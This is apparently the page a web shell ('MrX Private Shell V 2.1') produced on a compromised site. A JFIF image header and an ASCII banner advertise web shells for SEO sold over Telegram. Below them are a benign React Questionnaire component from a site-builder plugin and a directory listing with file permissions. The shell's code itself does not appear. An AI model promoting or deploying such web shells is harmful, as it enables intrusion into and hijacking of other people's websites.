����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { Icon as QuestionIcon } from '@launch/components/QuestionIcon';
export const Questionnaire = ({ questions = [], onAnswerChange }) => {
const getSelectedExtraField = (q, selected) => {
if (!Array.isArray(q?.extraFields) || !selected) return null;
return q?.extraFields.find((ef) => ef.key === selected) || null;
};
return (
<div className="mx-auto flex max-w-full flex-col gap-6 lg:max-w-[961px]">
{questions.map((q) => {
const selected = q?.answerUser || q?.answerAI;
const selectedExtraField = getSelectedExtraField(q, selected);
return (
<div
className="flex flex-col gap-3 rounded-sm bg-[#f8f8f8] p-6"
key={q.id}
>
<p className="m-0 text-base font-medium text-extendify-black">
{q?.translatedQuestion || q?.question}
</p>
{q?.description && (
<p className="mb-0 ml-0 mr-0 mt-[-8px] p-0 text-sm font-normal text-gray-700">
{q?.description}
</p>
)}
<div className="flex flex-wrap gap-5">
{q?.answerOptions.map((answer) => (
<button
key={answer?.id}
type="button"
onClick={() => onAnswerChange?.(q?.id, answer?.id)}
className={[
selected === answer?.id
? 'border-2 border-design-main font-medium text-design-main before:absolute before:inset-0 before:bg-design-main before:opacity-[0.06] before:content-[""]'
: 'border border-gray-200 bg-white font-normal',
'relative flex w-full max-w-full items-center gap-2 rounded-md px-3 py-3 text-left text-sm transition-colors duration-150 focus:outline-hidden md:max-w-[291px]',
].join(' ')}
>
<QuestionIcon id={answer?.iconId} />
{answer?.translatedLabel || answer?.label}
</button>
))}
</div>
{selectedExtraField && (
<div className="mt-2">
<label
className="mb-3 block text-base font-medium text-extendify-black"
htmlFor={`extra-field-${q.id}`}
>
{selectedExtraField?.translatedQuestion ||
selectedExtraField?.question}
</label>
<input
id={`extra-field-${q.id}`}
type={selectedExtraField?.type || 'text'}
placeholder="www.example.com"
value={selectedExtraField?.answer || ''}
onChange={(e) =>
onAnswerChange?.(q?.id, e.target.value, {
isExtraField: true,
extraFieldKey: selectedExtraField?.key,
})
}
className="w-full max-w-[602px] rounded-sm border border-gray-300 px-2 py-2 outline-hidden"
/>
</div>
)}
</div>
);
})}
</div>
);
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| BusinessInformation | Folder | 0755 |
|
|
| CreatingSite | Folder | 0755 |
|
|
| QuestionIcon | Folder | 0755 |
|
|
| Card.jsx | File | 1.5 KB | 0644 |
|
| CheckboxInput.jsx | File | 1.47 KB | 0644 |
|
| CheckboxInputCard.jsx | File | 1.34 KB | 0644 |
|
| LoadingIndicator.jsx | File | 188 B | 0644 |
|
| NavigationButton.jsx | File | 354 B | 0644 |
|
| PageControl.jsx | File | 11.59 KB | 0644 |
|
| PagePreview.jsx | File | 8.13 KB | 0644 |
|
| PageSelectButton.jsx | File | 1.03 KB | 0644 |
|
| PageSelectButtonPlaceholder.jsx | File | 400 B | 0644 |
|
| Questionnaire.jsx | File | 2.6 KB | 0644 |
|
| RestartLaunchModal.jsx | File | 6.71 KB | 0644 |
|
| RetryNotice.jsx | File | 581 B | 0644 |
|
| SmallPreview.jsx | File | 7.53 KB | 0644 |
|
| Title.jsx | File | 416 B | 0644 |
|
| VideoPlayer.jsx | File | 775 B | 0644 |
|